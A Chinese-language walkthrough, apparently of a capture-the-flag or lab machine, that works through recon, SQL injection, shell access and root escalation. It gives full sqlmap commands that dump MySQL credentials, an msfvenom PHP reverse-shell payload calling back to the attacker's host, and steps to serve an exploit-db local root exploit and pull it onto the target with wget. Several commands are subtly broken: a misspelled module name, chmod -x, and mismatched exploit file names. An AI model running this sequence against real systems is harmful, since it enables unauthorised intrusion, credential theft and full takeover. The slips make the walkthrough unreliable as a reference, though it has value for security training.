1.信息搜集。
2.漏洞挖掘。
3.漏洞利用。
4.提权。
1.信息搜集
1.arp-scan -l 发现目标主机
2.发现目标主机,查看他的端口利用nmap进行扫描,这里用到的是半开扫描,和扫描服务版本。(根据情况输入参数)
nmap -sS -sV (目标地址)
发现他的80端口开了一个http服务,用浏览器打开,发现一个登录框。登录框的话可能存在注入和弱口令。不急测试继续信息搜集。
3.用dirb进行网站的目录扫描看看会不会发现铭感信息。
dirb (目标地址)
发现有很多的phpmyadmin(数据库管理),sql,robost.txt,docs等敏感文件。一个个去访问发现在sql这个文件中有敏感信息的泄露。
我们可以猜测他是那个用户的登录账号密码,果然在测试发现是用户密码。
2.漏洞挖掘
登录进去发现有一个页面发现id=1的传参,测试是否存在注入漏洞。输入and 1=2 页面报错,输入and 1=1 页面正常,说明存在漏洞。
判断:
http://172.21.196.143/index.php?id=64%20%27%20and%201=2
http://172.21.196.143/index.php?id=64%20%27%20and%201=1
发现一个上传没有做任何过滤
3.漏洞利用
sql注入
利用sqlmap 跑一下。sqlmap详细教程’
sqlmap.py http://172.21.196.143/index.php?id=64 --dbs 爆出所有的数据库
sqlmap.py http://172.21.196.143/index.php?id=64 --dbs -D mysql --tables 爆出表名
sqlmap.py http://172.21.196.143/index.php?id=64 --dbs -D mysql --tables -T user --columns 爆出列
sqlmap.py http://172.21.196.143/index.php?id=64 --dbs -D mysql --tables -T user --columns User password --dump --batch 爆出列具体的数据
成功爆出数据库的账号,密码。root,mysqlpass,成功登录拿下数据库。
4.提权
在漏洞挖掘时发现有一个上传功能没有做任何过滤,可以进行上传木马拿shell。
1.在kali上的Msfvenom生成木马。
msfvenom -p php/meterpreter_reverse_tcp LHOST=172.21.196.63 LPORT=4444 -o shell.php(这里的地址是自己的kali地址)
把木马上传到网站。
在上传后木马文件会向我们发起一个请求和主机建立连接,我们就可以打开Msf监听我们的4444(我们刚设置的)端口与木马文件建立连接。
导入模块
use exploit/mulit/handler
开始监听,重新登录用户触发木马,成功连接。
但是我们只是个apche的一个用户,不是最高权限不足以拿下全部。
我们查看他的信息(发现他的搭建版本),再通过信息搜集发现有提取漏洞。
利用漏洞
python -c 'import pty;pty.spawn("/bin/bash")'
利用kali上的提权代码拷贝到tmp目录。
locate linux/local/8572.c
cp /usr/share/exploitdb/exploits/linux/local/8572.c /tmp
把攻击代码上传到靶机上,需要在tmp目录开启http服务。
python3 -m http.server 80
wget http//(你的主机地址加端口加/8478.sh) 下载在靶机
转换攻击代码格式
执行权限
chmod -x 8478.sh
查看进程
cat /proc/net/netlink
运行攻击代码
./8478.sh 568
因为环境问题要多运行几回